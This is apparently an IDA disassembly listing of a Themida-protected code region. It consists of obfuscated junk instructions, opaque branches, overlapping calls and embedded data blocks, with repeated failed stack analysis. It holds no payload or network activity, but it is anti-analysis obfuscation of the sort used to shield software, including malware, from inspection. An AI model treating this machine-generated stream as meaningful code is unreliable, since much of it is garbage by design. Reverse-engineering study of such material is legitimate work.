		leave


loc_612006:				; CODE XREF: Themida_:00611FF6j
		mov	dx, di
		jmp	loc_612021
; ---------------------------------------------------------------------------
		dw 48A6h
		dd 384E7CD4h, 0E05D8267h, 9376E6EFh, 0C20CFC19h
; ---------------------------------------------------------------------------
		stosd


loc_612021:				; CODE XREF: Themida_:00612009j
		jmp	loc_61202F
; ---------------------------------------------------------------------------
		dw 9BAEh
		dd 2E313BC4h
		db 0Fh,	6Ah, 5Eh
; ---------------------------------------------------------------------------


loc_61202F:				; CODE XREF: Themida_:loc_612021j
		jmp	loc_61203F
; ---------------------------------------------------------------------------
		dd 2B0B9B13h, 0C2CEB977h
		db 65h,	0A3h, 0B8h
; ---------------------------------------------------------------------------


loc_61203F:				; CODE XREF: Themida_:loc_61202Fj
		jns	loc_612048
		movsx	eax, bx


loc_612048:				; CODE XREF: Themida_:loc_61203Fj
		jnb	loc_612052
		mov	bx, 0E032h


loc_612052:				; CODE XREF: Themida_:loc_612048j
		add	esi, 309F6AC1h
		mov	si, 0F5E0h
		jmp	loc_612069
; ---------------------------------------------------------------------------
		db 15h,	9Bh, 25h
		dd 0F2E2D1D9h
		db 0BFh
; ---------------------------------------------------------------------------


loc_612069:				; CODE XREF: Themida_:0061205Cj
		call	sub_61207A
		lodsd
		push	edx
; ---------------------------------------------------------------------------
		dd 63B50D8Eh, 847EB233h
		db 0E5h, 0E6h

; =============== S U B	R O U T	I N E =======================================



sub_61207A	proc near		; CODE XREF: Themida_:loc_612069p
		adc	di, 0B9D5h
		pop	ecx
		jmp	loc_61208F
; ---------------------------------------------------------------------------
		retn	2BAAh
; ---------------------------------------------------------------------------
		mov	ah, 2
		push	cs
		cmovp	ebp, ebx
		inc	ebx


loc_61208F:				; CODE XREF: sub_61207A+6j
		add	di, 0E613h
		jno	loc_6120A6
		jmp	loc_6120A6
; ---------------------------------------------------------------------------
		db 8Ah
		dd 92777E77h
		db 0C7h, 79h
; ---------------------------------------------------------------------------


loc_6120A6:				; CODE XREF: sub_61207A+1Aj
					; sub_61207A+20j
		mov	dl, ch
		call	near ptr loc_6120B8+4
		or	dh, [eax]
		db	3Eh
		or	byte ptr [esi],	8Fh
		jnp	short near ptr loc_61212E+1
		cld
		out	7, eax		; DMA controller, 8237A-5.
					; channel 3 base address and word count


loc_6120B8:				; CODE XREF: sub_61207A+2Ep
		mov	eax, ds:664B0675h
sub_61207A	endp ; sp-analysis failed

		mov	eax, 515FB491h
		mov	ecx, 3C59B651h
		pop	edx
		push	eax
		mov	esi, 2F2B1639h
		pop	eax
		jmp	loc_6120DD
; ---------------------------------------------------------------------------
		dd 0C0E19131h, 0C387DB17h
		db 6Eh
; ---------------------------------------------------------------------------


loc_6120DD:				; CODE XREF: Themida_:006120CFj
		mov	dx, 29AFh
		mov	dl, 0D7h
		mov	bx, 25C3h
		ja	loc_6120F5
		push	esi
		jns	$+6
		pop	esi


loc_6120F5:				; CODE XREF: Themida_:006120E7j
		push	eax
		pusha
		pusha
		popa
		cmc
		popa
		pop	esi
		push	eax
		call	loc_612114
		inc	ebx
		mov	edi, 70D53475h
		mov	edx, 1DE6D4FAh
		and	dword ptr [edi+3CCCB3CFh], 3Fh


loc_612114:				; CODE XREF: Themida_:006120FDp
		adc	edx, 7310A6F0h
		pop	eax
		pop	ebx
		mov	esi, eax
		jmp	loc_612129
; ---------------------------------------------------------------------------
		pop	ds
		xchg	eax, ecx
		db	67h
		push	ebp
		jo	short loc_612163


loc_612129:				; CODE XREF: Themida_:0061211Ej
		movzx	edi, di
		mov	bl, dh


loc_61212E:				; CODE XREF: sub_61207A+39j
		mov	si, dx
		jp	$+6
		mov	edx, 403CB61h
		jnb	$+6
		pusha
		jmp	loc_61215C
; ---------------------------------------------------------------------------
		dd 6A34B7Ch, 0D11D7CD9h, 0AC18297Eh, 7B2FD1FCh,	0D37CA7DAh
; ---------------------------------------------------------------------------


loc_61215C:				; CODE XREF: Themida_:00612143j
		jnz	$+6
		popa


loc_612163:				; CODE XREF: Themida_:00612127j
		mov	dh, ch
		call	sub_612173
		idiv	ecx
; ---------------------------------------------------------------------------
		dd 19C58D67h
		db 6Eh,	0FFh, 0AEh

; =============== S U B	R O U T	I N E =======================================



sub_612173	proc near		; CODE XREF: Themida_:00612165p
		pusha
		pusha
		popa
		mov	edi, ecx
		popa
		pop	edi
		adc	ebx, 591220D8h
		push	esi
		mov	edi, ecx
		pop	edx
		movsx	eax, bx
		and	al, 3
		mov	ebx, 3EBE9C1Ch
		js	loc_612197
		mov	bl, 8


loc_612197:				; CODE XREF: sub_612173+1Cj
		ja	loc_6121A0
		mov	di, si


loc_6121A0:				; CODE XREF: sub_612173:loc_612197j
		pusha
		mov	bl, 0A0h
		jmp	loc_6121B3
; ---------------------------------------------------------------------------
		dd 2AA04AA2h, 1D58EFB2h
		db 0D5h, 0AFh, 0ECh
; ---------------------------------------------------------------------------


loc_6121B3:				; CODE XREF: sub_612173+30j
		popa
		and	edi, 4D067A94h
		jmp	loc_6121CE
; ---------------------------------------------------------------------------
		db 0DCh
		dd 5F9AC863h, 0DBB0ABF8h, 877E075Eh
; ---------------------------------------------------------------------------
		or	al, 1Fh


loc_6121CE:				; CODE XREF: sub_612173+47j
		jmp	loc_6121D9
; ---------------------------------------------------------------------------
		db 44h
		dd 8620B84Fh
		db 3Eh
; ---------------------------------------------------------------------------


loc_6121D9:				; CODE XREF: sub_612173:loc_6121CEj
		movsx	esi, si


loc_6121DC:				; CODE XREF: Themida_:0061223Dj
		jge	loc_6121E5
		movsx	edi, di


loc_6121E5:				; CODE XREF: sub_612173:loc_6121DCj
		push	eax
		pusha
		jnz	$+6
		mov	esi, edi
		popa
		pop	eax
		push	eax
		sbb	cl, 63h
		pop	edi
		jmp	loc_612206
; ---------------------------------------------------------------------------
		db 84h
		dd 989813DDh, 654353E7h
		db 0DAh, 0E1h
; ---------------------------------------------------------------------------


loc_612206:				; CODE XREF: sub_612173+83j
		call	near ptr loc_612214+4
		rep sub	al, 7Eh
		pop	esi
		dec	esp
		das
		or	al, 7
		dec	esp


loc_612214:				; CODE XREF: sub_612173:loc_612206p
		xchg	ah, [edx-45991306h]
sub_612173	endp ; sp-analysis failed

		nop
		dec	esp
		pop	ebx
		mov	cx, ax
		mov	ebx, 3E15EBEh
		cld
		cld
		mov	dh, 33h
		jnb	loc_612233
		mov	cx, 0CEE3h


loc_612233:				; CODE XREF: Themida_:00612229j
		mov	dx, ax
		mov	cl, ah
		call	near ptr loc_612246+5
		db	26h
		jnb	short loc_6121DC
		xor	esi, [ebp+0A4B4529h]


loc_612246:				; CODE XREF: Themida_:00612238p
		mov	dword ptr [ecx-170B904Bh], 5
		retn
; ---------------------------------------------------------------------------
		db 0E1h, 0C2h, 0EEh
; ---------------------------------------------------------------------------
		mov	al, ds:76D38166h
		mov	[eax+58h], ebx
		pusha
		mov	di, 884Ch
		popa
		jmp	loc_612276
; ---------------------------------------------------------------------------
		db 71h
		dd 0E7AB9DA7h, 8D2B898Ch, 31FF77C1h
; ---------------------------------------------------------------------------
		stosb
		clc


loc_612276:				; CODE XREF: Themida_:00612262j
		jge	loc_61227F
		mov	cx, dx


loc_61227F:				; CODE XREF: Themida_:loc_612276j
		cmc
		mov	di, 4DB1h
		sub	ecx, 7136248Ch
		or	ecx, 5F214A6Eh
		cld
		movsx	ecx, dx
		jo	loc_61229D
		movzx	ebx, dx


loc_61229D:				; CODE XREF: Themida_:00612294j
		call	sub_6122AF
		wait
		outsb
		jmp	near ptr 0B8C1FC3Bh
; ---------------------------------------------------------------------------
		db 0EBh, 99h, 0D6h
		db 77h,	0FAh, 6Fh

; =============== S U B	R O U T	I N E =======================================



sub_6122AF	proc near		; CODE XREF: Themida_:loc_61229Dp
		cmc
		pop	ecx
		mov	bl, dl
		clc
		pusha
		or	ebx, 61AB6AE0h
		movzx	edx, ax
		popa
		mov	cx, 0DBF0h
		call	near ptr loc_6122D7+1
		add	bl, [ebx+150C0578h]
		scasb
		sbb	dl, [esi]
		test	[ebp+7C1819A7h], bh


loc_6122D7:				; CODE XREF: sub_6122AF+14p
		rcl	byte ptr [edx+66h], cl
sub_6122AF	endp ; sp-analysis failed

		mov	eax, edi
		pop	edi
		pop	edi
		mov	ebx, edx
		mov	edi, 30B7132Bh
		movsx	esi, di
		push	ecx
		cmc
		pop	esi
		cmc
		sbb	dh, 0E9h
		jb	loc_6122FB
		xor	edi, 4B36F674h


loc_6122FB:				; CODE XREF: Themida_:006122EFj
		call	near ptr loc_612305+2
		mov	esi, 0AB398DB3h


loc_612305:				; CODE XREF: Themida_:loc_6122FBp
		mov	ds:0CE96026h, eax
; ---------------------------------------------------------------------------
		dw 0
		dd 0C0F71500h, 0FDBB11CDh, 764DA6BDh, 4BF78128h, 61092923h
		dd 12E9505Fh, 70000000h, 0C7628DB2h, 4F6B8C89h,	37BE1E79h
		dd 2D0A896Dh, 8B665FC5h, 0FA8B66C8h, 58B0Fh, 81660000h
		dd 0B8C23BF6h, 1C756324h, 0B86660F8h, 80560BE2h, 615E9CF3h
		dd 8A0F5057h, 0
; ---------------------------------------------------------------------------
		pop	edi
		pop	edx
		mov	cx, 5FC8h
		add	ah, 2Eh
		jmp	loc_61237E
; ---------------------------------------------------------------------------
		dw 0AB5Eh
		dd 1916396Eh, 0ED4C0499h
		db 0F1h, 0E2h
; ---------------------------------------------------------------------------


loc_61237E:				; CODE XREF: Themida_:0061236Dj
		mov	eax, edi
		mov	cx, si
		jno	loc_612392
		jl	loc_612392
		movsx	ebx, ax


loc_612392:				; CODE XREF: Themida_:00612383j
					; Themida_:00612389j
		jp	loc_6123A0
		jle	loc_6123A0
		pusha
		popa


loc_6123A0:				; CODE XREF: Themida_:loc_612392j
					; Themida_:00612398j
		mov	ah, 85h
		mov	ah, 8Fh
		call	near ptr loc_6123BB+1
		and	ah, cl
		wait
		push	edx
		pop	esp
		pop	ecx
		or	[esi-43h], dh
		rcr	dword ptr [esi], 1
		xchg	bl, ds:0F72625A6h


loc_6123BB:				; CODE XREF: Themida_:006123A4p
		sbb	esp, [eax+66h]
		mov	ebx, edx
		popa
		pop	ebx
		js	$+6
		sub	bl, 27h
		mov	al, 62h
		mov	ecx, 15C4B29Dh
		jnz	loc_6123DB
		movzx	edx, dx


loc_6123DB:				; CODE XREF: Themida_:006123D2j
		mov	dx, 0DAB2h
		push	eax
		jmp	loc_6123EE
; ---------------------------------------------------------------------------
		db 91h,	5Eh, 7Dh
		dd 0B090FF10h
		db 36h,	0CDh
; ---------------------------------------------------------------------------


loc_6123EE:				; CODE XREF: Themida_:006123E0j
		pop	ecx
		pusha
		jmp	loc_612407
; ---------------------------------------------------------------------------
		db 0E9h, 87h, 71h
; ---------------------------------------------------------------------------
		sub	ch, cl
		div	byte ptr [edx-44h]
		push	esp
		mov	byte ptr [edx+51EFE146h], 0Eh
		sbb	al, 0ADh


loc_612407:				; CODE XREF: Themida_:006123F0j
		xor	di, 23A8h
		popa
		pusha
		movsx	ecx, si
		stc
		popa
		push	ebx
		jmp	loc_612429
; ---------------------------------------------------------------------------
		db 2Dh,	4Ch, 24h
		dd 0B112C6E4h, 0E6E27DD0h, 0E664CE43h
		db 0EDh
; ---------------------------------------------------------------------------


loc_612429:				; CODE XREF: Themida_:00612414j
		pop	edx
		clc
		mov	ecx, 6ACA22B1h
		movzx	edx, cx
		mov	ah, 0F8h
		jle	loc_61243F
		mov	bx, 0E585h


loc_61243F:				; CODE XREF: Themida_:00612435j
		xor	cx, 4673h
		jo	loc_612450
		sbb	esi, 3BE7E805h


loc_612450:				; CODE XREF: Themida_:00612444j
		pusha
		clc
		call	sub_61245F
		insd
		int	5Ch		; NETBIOS INTERFACE
					; ES:BX	-> Network Control Block
					; Return: AL = status
		mov	ds:3CEABC68h, al

; =============== S U B	R O U T	I N E =======================================



sub_61245F	proc near		; CODE XREF: Themida_:00612452p
		pop	esi
		popa
		add	edi, 42DC2EE2h
		xor	di, 0DE07h
		mov	ch, 4Ah
		call	sub_61247A
		jno	short sub_6124C4
		scasd
		xchg	dl, [ebx-10h]
		pop	edx
sub_61245F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_61247A	proc near		; CODE XREF: sub_61245F+Fp
		jnb	loc_612482
		mov	ebx, ecx


loc_612482:				; CODE XREF: sub_61247Aj
		pop	esi
		mov	esi, 4550FE87h
		mov	bh, 5
		mov	edx, 4E001290h
		mov	edx, 428AF862h
		cmc
		or	edx, 22C7AB6Eh
		cld
		mov	edx, eax
		push	ecx
		jo	loc_6124AB
		ja	$+6


loc_6124AB:				; CODE XREF: sub_61247A+25j
		pop	ebx
		pusha
		push	edi
		call	sub_6124C4
		push	esp
		push	ss
		dec	esi
		mov	dl, 8Bh
		xor	[esi-61C05BCCh], ebx
		cli
		lock wait
		db	36h
		xchg	eax, esi
		sahf
sub_61247A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6124C4	proc near		; CODE XREF: sub_61245F+14j
					; sub_61247A+34p
		pop	ecx
		pop	ecx
		mov	al, 44h
		popa
		mov	ecx, 1B0EB20h
		mov	eax, esi
		clc
		pusha
		jnp	$+6
		popa
		push	ecx
		mov	di, 0BF71h
		pop	ecx
		mov	ecx, 167EB732h
		add	bx, 0C9FDh
		pusha
		sub	di, 251Ch
		mov	edi, esi
		popa
		pusha
		pusha
		call	sub_612501
		inc	edi
		retn	1A64h
sub_6124C4	endp

; ---------------------------------------------------------------------------
		test	[ecx-1], al
		wait

; =============== S U B	R O U T	I N E =======================================



sub_612501	proc near		; CODE XREF: sub_6124C4+30p
		pop	eax
		jmp	loc_61250C
; ---------------------------------------------------------------------------
		db 17h
		dd 0C564032Bh
; ---------------------------------------------------------------------------


loc_61250C:				; CODE XREF: sub_612501+1j
		popa
		call	sub_612523
		db	3Eh
		xchg	eax, esi
		setalc
		cmpsb
		nop
		mov	cl, 0C6h
		add	eax, 1C04694Ah
		mov	ds:0D7206F21h, eax
sub_612501	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_612523	proc near		; CODE XREF: sub_612501+Cp
		clc
		pop	ecx
		popa
		jg	loc_61252F
		and	ch, 8Bh


loc_61252F:				; CODE XREF: sub_612523+3j
		cld
		cld
		sbb	ebx, 43CF626h
		mov	ecx, edx
		mov	dl, ch
		mov	eax, edi
		or	ebx, 14220A62h
		mov	ecx, 708D1A81h
		mov	edi, ecx
		jmp	loc_61255B
; ---------------------------------------------------------------------------
		db 82h
		dd 1D8745BDh, 0DA6FDFAh
; ---------------------------------------------------------------------------
		frstor	byte ptr [edx]
		push	eax


loc_61255B:				; CODE XREF: sub_612523+27j
		and	al, 72h
		movzx	edi, dx
		mov	cl, 6
		add	bx, 0FA9Bh
		adc	cl, 29h
		mov	edi, 0ED081B9h
		push	ebx
		mov	ch, 0E4h
		pop	ecx
		sbb	ah, 91h
		js	loc_612581
		mov	cx, 0E213h


loc_612581:				; CODE XREF: sub_612523+54j
		jmp	loc_61258F
; ---------------------------------------------------------------------------
		dw 9E16h
		dd 37DEEDB3h
		db 8Dh,	95h, 76h
; ---------------------------------------------------------------------------


loc_61258F:				; CODE XREF: sub_612523:loc_612581j
		jno	loc_612596
		cmc


loc_612596:				; CODE XREF: sub_612523:loc_61258Fj
		and	dx, 0E5B5h
		jl	loc_6125A9
		jns	loc_6125A9
		push	edi
		pop	esi


loc_6125A9:				; CODE XREF: sub_612523+78j
					; sub_612523+7Ej
		mov	edx, 398800D4h
		clc
		jno	loc_6125BD
		pusha
		pusha
		popa
		mov	bx, 3CCEh
		popa


loc_6125BD:				; CODE XREF: sub_612523+8Cj
		pusha
		mov	cx, 0BE1Dh
		mov	ax, dx
		popa
		jo	loc_6125CF
		movsx	ebx, ax


loc_6125CF:				; CODE XREF: sub_612523+A3j
		jbe	loc_6125F2
		pusha
		jmp	loc_6125EE
; ---------------------------------------------------------------------------
		db 99h
		dd 5C92AA93h, 0F2B8E199h, 0E64707EDh, 0C109A45Eh
		db 5Bh,	28h
; ---------------------------------------------------------------------------


loc_6125EE:				; CODE XREF: sub_612523+B3j
		movzx	edx, dx
		popa


loc_6125F2:				; CODE XREF: sub_612523:loc_6125CFj
		mov	edi, 598B14BEh
		and	ebx, 2CAC461h
		and	dh, 15h
		jbe	loc_612608
		mov	edx, ecx


loc_612608:				; CODE XREF: sub_612523+DDj
		pusha
		call	near ptr loc_612610+5
		sbb	al, 0C1h


loc_612610:				; CODE XREF: sub_612523+E6p
		lock mov eax, 66B37E9Bh
sub_612523	endp ; sp-analysis failed

		xor	esi, 66583DB3h
		sbb	ebx, 0B0617308h
		pop	ds
		mov	ecx, 17C8FADFh
		push	ecx
		push	esi
		adc	ecx, 29D306B0h
		pop	ebx
		pop	ebx
		and	ax, 538Dh
		jl	loc_612642
		mov	edi, 2573D7D7h


loc_612642:				; CODE XREF: Themida_:00612637j
		jmp	loc_61264D
; ---------------------------------------------------------------------------
		db 0C9h
		dd 3280A7FEh
		db 0CFh
; ---------------------------------------------------------------------------


loc_61264D:				; CODE XREF: Themida_:loc_612642j
		pusha
		call	sub_612666
		cmc
		mov	gs, [esi+66h]
		xchg	eax, ecx
		dec	eax
		fstp1	st(6)
		retf
; ---------------------------------------------------------------------------
		dd 9D9E585Ah, 0BDE20A1Ch
		db 65h,	0D4h

; =============== S U B	R O U T	I N E =======================================



sub_612666	proc near		; CODE XREF: Themida_:0061264Ep
		mov	dh, ch
		pop	eax
		and	edi, 566371A3h
		popa
		xor	cl, 78h
		mov	ax, dx
		call	sub_61268A
		cmp	eax, 8459307Bh
		mov	esi, 0C5EFD5DDh
		mov	ds:0A36620D8h, eax
sub_612666	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_61268A	proc near		; CODE XREF: sub_612666+10p
		sbb	ecx, 7976ECCAh
		pop	ecx
		mov	bl, 4Ah
		mov	dx, di
		cmc
		jns	loc_6126A0	; CODE XREF: sub_61268A+56j
		sbb	dh, 1Dh


loc_6126A0:				; CODE XREF: sub_61268A+Dj
					; sub_61268A+5Bj
		pusha
		mov	esi, 15F5F9FAh
		jmp	loc_6126B8
; ---------------------------------------------------------------------------
		pop	ecx
		mov	esp, 0F76AAEE5h
		scasd
		mov	esi, 48683ED6h
		push	esi


loc_6126B8:				; CODE XREF: sub_61268A+1Cj
		popa
		jge	loc_6126C5
		sbb	ecx, 1BFBEEA3h


loc_6126C5:				; CODE XREF: sub_61268A+2Fj
		mov	esi, ecx
		jmp	loc_6126DB
; ---------------------------------------------------------------------------
		dd 921F1C00h, 3AE0E2FFh, 4777191Ch
		db 16h,	0AFh, 67h
; ---------------------------------------------------------------------------


loc_6126DB:				; CODE XREF: sub_61268A+3Dj
		call	near ptr loc_6126ED+5
		loop	near ptr loc_612697+1
		pop	esi
		mov	ah, 0B7h
		loopne	loc_6126A0
		xor	esp, ebx
		adc	[eax+esi-78h], ah


loc_6126ED:				; CODE XREF: sub_61268A:loc_6126DBp
		db	26h
		mov	esp, 0E9C73288h
sub_61268A	endp ; sp-analysis failed

		sldt	word ptr [eax]
		add	bl, bh
		mov	ch, 1
		adc	eax, 8CD8AFC1h
		mov	dl, ah
		add	edx, 0FFFFFFC8h
		arpl	[edi+ebx*2-7F9F3175h], dx
		fistp	dword ptr [edx-73F0069Fh]
		add	eax, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 0D1B70F00h, 72BA66F8h, 13E914h, 761B0000h, 0DB4ADFBEh
		dd 9DC5808h, 68BA8E89h,	26DEFAE4h, 60F38BBAh, 0B085D080h
		dd 0FE86193h, 74000000h, 2F7B02DBh, 7F303145h, 85D7E423h
		dd 0D9B28232h, 40BF665Eh, 6059B0F4h, 0B03DB966h, 0FD72B866h
		dd 0F2D98161h, 0B52C870Ah, 0FB8B6603h, 13E960h,	0A6110000h
		dd 0AAD0C869h, 5B9F4491h, 0FF62D5DEh, 0F2722432h, 8A61F9AFh
		dd 0F8B70FDAh, 60D2BF0Fh, 61F9D38Bh, 0BE6615B6h, 11E856BFh
		dd 0A6000000h, 187A0FBEh, 0FA5A1D27h, 0F3BA9B74h, 71C02BA6h
		dd 5FF3B70Fh, 10E9h, 0F44D8C00h, 91B1D5D7h, 297AF661h
		dd 0C5BEBCFCh, 0D681664Ch, 0C68BA64Bh, 2850F56h, 8B000000h
		dd 0B70F58CEh, 28B0FF7h, 0B5000000h, 66FA8B27h,	9A7AC781h
		dd 9E8h, 2D840600h, 8AF9A08Fh, 0B70FBB4Ch, 0BAF95BC6h
		dd 1EFDD69h, 10E9h, 8C28B300h, 0F853CEF8h, 0E896C8FFh
		dd 6BD9DF23h, 8800F1Ah,	0F000000h, 28Eh, 0B45B5100h, 6E938h
		dd 2CA80000h, 0E753CBDDh, 0A296B6BFh, 0B7D18134h, 6079EE24h
		dd 7E8h, 89D57F00h, 0EBF81F82h,	0EF816658h, 6061C1F9h
		dd 0FE8h, 0B2113200h, 8360CA64h, 767FDD78h, 1FBA2F6Ah
		dd 6E9h, 62F4B200h, 5B9B57A8h, 249FBE66h, 0C2B70F61h, 4FB5D681h
		dd 0CE803C0h, 5B000000h, 15375636h, 0D64B21A7h,	5E51B001h
		dd 8818BA53h, 0F5B4D96h, 38Ah, 0D38B6600h, 0E8F2BF0Fh
		dd 0Fh,	4505E379h, 0C198529Fh, 26523554h, 0FA25966h, 28Fh
		dd 5F70B400h, 0FF18B66h, 8Ch, 0E6816600h, 0EB81F510h, 5394A6B6h
		dd 0E9C78B66h, 14h, 8BE8959h, 8B5B1AA5h, 0B872BA38h, 42B1546Dh
		dd 0C5F064D0h, 28C0Fh, 0DE8B0000h, 0BE953h, 0B6FF0000h
		dd 7AD03891h, 2AA18243h, 0F605B39h, 1187h, 0BE800h, 0C62E0000h
		dd 6483EC34h, 3D22D845h, 0E8535F13h, 7,	727DE0DBh, 5E2EC731h
		dd 0CD806158h, 0AE992h,	0BC4C0000h, 0F9B2446Eh,	0D6CA0A14h
		dd 6E8h, 89E84C00h, 0E9CA7BBFh,	7, 0C494F932h, 58A780A2h
		dd 17FD67BBh, 0E081600Fh, 79526F86h, 10E9h, 0F881AC00h
		dd 29A8946Dh, 428C2A12h, 9C8071DDh, 0AE961CEh, 0F5000000h
		dd 0C55772B3h, 921B59Bh, 6E904h, 0B9DB0000h, 95D9612Ah
		dd 7E8h, 0F540B100h, 0A76D1D20h, 565BDA8Bh, 0D021D1BFh
		dd 8B665930h, 7E9D6h, 473B0000h, 0F447851Ah, 6E921h, 0ADBC0000h
		dd 5F0422C9h, 0FA8B66FCh, 0BE9h, 0CAF4DA00h, 7804D590h
		dd 76E8F3A4h, 0D38A14B2h, 138E0Fh, 0BE80000h, 21000000h
		dd 0AAA0CAA4h, 0BEAB4E81h, 0CA8B4A3Ah, 0CE2BB5Eh, 0B70F6B4Ah
		dd 8E8F0h, 4B870000h, 56C18A4Ch, 6E98598h, 5A000000h, 0A642B736h
		dd 0D18B5EC4h, 0EE8h, 994A9500h, 0F7805257h, 0B9928945h
		dd 66C5CA93h, 0BCABD981h, 7BE58058h, 0FCE8B66h,	584h, 0C1816600h
		dd 80FCD69Ch, 0CD804DE6h, 13E9F9DBh, 3A000000h,	76F566CAh
		dd 0A1144EE0h, 73B2C684h, 0AA63F6E8h, 0B70FDB42h, 0EA8166D9h
		dd 0BF0F7FDCh, 93E180C9h, 810FCB8Ah, 4,	4FB866h, 0C5B86660h
		dd 6661FC10h, 0F322F681h, 95BE27B9h, 0E914B06Ch, 14h, 0DDB6A3BBh
		dd 0C48A615Dh, 9EF31248h, 0B456F546h, 7A50418Fh, 6653E88Ah
		dd 592FADBAh, 158F0F60h, 0E9000000h, 10h, 0EAF07C5h, 5B27892h
		dd 544DECBEh, 6AE8D7D1h, 1A8A0F61h, 0F000000h, 1488h, 0EE800h
		dd 3A8E0000h, 0A2770E3Ah, 8EA13EC1h, 3604A62h, 6DB9665Bh
		dd 60DB81FCh, 8A114AFEh, 0FF780D3h, 5B5FDB81h, 11E92EE1h
		dd 90000000h, 0C6A86B17h, 81F5239Eh, 0ECB94567h, 0D8D4C496h
		dd 28D0F60h, 52000000h,	0D1815058h, 77C16754h, 0D68B6158h
		dd 0CF8B50B4h, 0DE8h, 19721500h, 3EF43FDh, 55E08388h, 0F5FC743h
		dd 1884h, 13E900h, 0D5840000h, 0BD181080h, 39CD7813h, 67A3BA6Bh
		dd 6BAB2107h, 800FF87Ch, 0
; ---------------------------------------------------------------------------
		mov	ecx, ebx
		jmp	loc_612B81
; ---------------------------------------------------------------------------
		db 0F2h
		dd 9E04834Ch
; ---------------------------------------------------------------------------
		xchg	eax, ecx


loc_612B81:				; CODE XREF: Themida_:00612B76j
		pusha
		call	near ptr loc_612B96+1
		jns	short near ptr loc_612BC8+3
		enter	0FFFFCAE3h, 35h
		call	near ptr 0F01B6Ah
		adc	byte ptr [ebp+63h], 93h


loc_612B96:				; CODE XREF: Themida_:00612B82p
		aam	66h
		mov	edi, 515E2054h
		mov	edi, eax
		pop	ebx
		popa
		sbb	dh, 0ACh
		jmp	loc_612BAE
; ---------------------------------------------------------------------------
		db 0A8h, 25h, 0C8h
		db 0BCh, 0CAh
; ---------------------------------------------------------------------------


loc_612BAE:				; CODE XREF: Themida_:00612BA4j
		jnb	loc_612BB9
		xor	si, 0AE14h


loc_612BB9:				; CODE XREF: Themida_:loc_612BAEj
		pusha
		mov	ah, 68h
		mov	edx, 7AF23A48h
		popa
		jbe	loc_612BE1


loc_612BC8:				; CODE XREF: Themida_:00612B87j
		jno	loc_612BE1
		jmp	loc_612BE1
; ---------------------------------------------------------------------------
		db 0BFh
		dd 26CDBF0Bh, 146E4CEFh, 20829081h
		db 20h
; ---------------------------------------------------------------------------


loc_612BE1:				; CODE XREF: Themida_:00612BC2j
					; Themida_:loc_612BC8j	...
		js	loc_612C04
		jns	loc_612C04
		jmp	loc_612C04
; ---------------------------------------------------------------------------
		dw 0C153h
		dd 12F07BFDh, 1A67000Bh, 0C4D614A5h, 836DE194h
; ---------------------------------------------------------------------------


loc_612C04:				; CODE XREF: Themida_:loc_612BE1j
					; Themida_:00612BE7j ...
		jmp	loc_612C1B
; ---------------------------------------------------------------------------
		align 2
		dw 9269h
		dd 1C343659h, 7025E0F3h, 39AFA8EAh
; ---------------------------------------------------------------------------
		movsd
		mov	cl, 41h


loc_612C1B:				; CODE XREF: Themida_:loc_612C04j
		add	edi, 38F953B6h
		xor	esi, 633F1B73h
		adc	si, 0E561h
		ja	loc_612C35
		movzx	edi, di


loc_612C35:				; CODE XREF: Themida_:00612C2Cj
		jmp	loc_612C42
; ---------------------------------------------------------------------------
		xor	al, [eax+2Ch]
		xor	eax, 4A319F3Ah


loc_612C42:				; CODE XREF: Themida_:loc_612C35j
		mov	ecx, 7446F7A8h
		jmp	loc_612C51
; ---------------------------------------------------------------------------
		and	[esi], bl
		inc	edi
		xchg	ecx, [edi]


loc_612C51:				; CODE XREF: Themida_:00612C47j
		mov	bx, 21A7h
		and	dx, 8889h
		mov	ax, 0FC07h
		or	eax, 35FA93A7h
		sub	bx, 18BAh


loc_612C69:				; CODE XREF: Themida_:00612CBBj
		jmp	loc_612C7D
; ---------------------------------------------------------------------------
		dw 272Ch
		dd 0E8B7AC61h, 42A2FE4Ah, 0A28AAFA3h
; ---------------------------------------------------------------------------
		xchg	eax, esi


loc_612C7D:				; CODE XREF: Themida_:loc_612C69j
		clc
		mov	edx, 57AAAE90h
		mov	di, ax
		mov	edx, 712B5464h
		push	ecx
		mov	ax, 0BC61h
		pop	ecx
		mov	si, 65F0h
		ja	loc_612CA2
		jnb	loc_612CA2
		stc


loc_612CA2:				; CODE XREF: Themida_:00612C95j
					; Themida_:00612C9Bj
		movzx	edi, si
		stc
		jle	loc_612CC3
		jmp	loc_612CC3
; ---------------------------------------------------------------------------
		db 4Ah,	91h, 0E4h
; ---------------------------------------------------------------------------
		popf
		fisubr	dword ptr [ecx+2780222Dh]
		jnz	short loc_612C69
		imul	ebp, [edi], -0Bh
		cmc
		retn
; ---------------------------------------------------------------------------
		db 14h
; ---------------------------------------------------------------------------


loc_612CC3:				; CODE XREF: Themida_:00612CA6j
					; Themida_:00612CACj
		mov	ebx, 590CABC3h
		sbb	bl, 0ABh
		mov	bl, 2Dh
		sub	esi, 6AA01736h
		jmp	loc_612CE9
; ---------------------------------------------------------------------------
		dd 36E154Ch, 50B99139h,	0A0FB47C2h, 526818B5h
		db 3Bh
; ---------------------------------------------------------------------------


loc_612CE9:				; CODE XREF: Themida_:00612CD3j
		push	ebx
		xor	si, 2604h
		pop	edx
		mov	cx, dx
		and	si, 0F371h
		jmp	loc_612D0C
; ---------------------------------------------------------------------------
		db 56h,	63h, 4Ah
		dd 0DC3DF5E7h, 4331367Ch, 0D6BD6D83h
; ---------------------------------------------------------------------------


loc_612D0C:				; CODE XREF: Themida_:00612CF8j
		mov	eax, 798F3F3Ch
		mov	esi, 33E9E78Ah
		mov	bh, 3Ch
		sub	di, 8A1Bh
		pusha
		mov	edx, ebx


loc_612D20:				; DATA XREF: ___:off_4455F0o
		cmc
		popa
		sbb	cx, 0D57Bh
		call	near ptr loc_612D3D+2
		pushf
		insb
		mov	ecx, 2F11D9E5h
		cmp	esi, [edx]
		test	al, 87h
		xchg	bh, bl
		xchg	eax, ecx
		or	edi, [ecx+62h]


loc_612D3D:				; CODE XREF: Themida_:00612D27p
		mov	ebx, 5A585654h
		jb	loc_612D4D
		and	di, 0FB92h


loc_612D4D:				; CODE XREF: Themida_:00612D42j
		mov	bl, dl
		jmp	loc_612D5A
; ---------------------------------------------------------------------------
		jbe	short near ptr word_612D7A
		test	byte ptr [edi+6Fh], 0F6h


loc_612D5A:				; CODE XREF: Themida_:00612D4Fj
		push	ebx
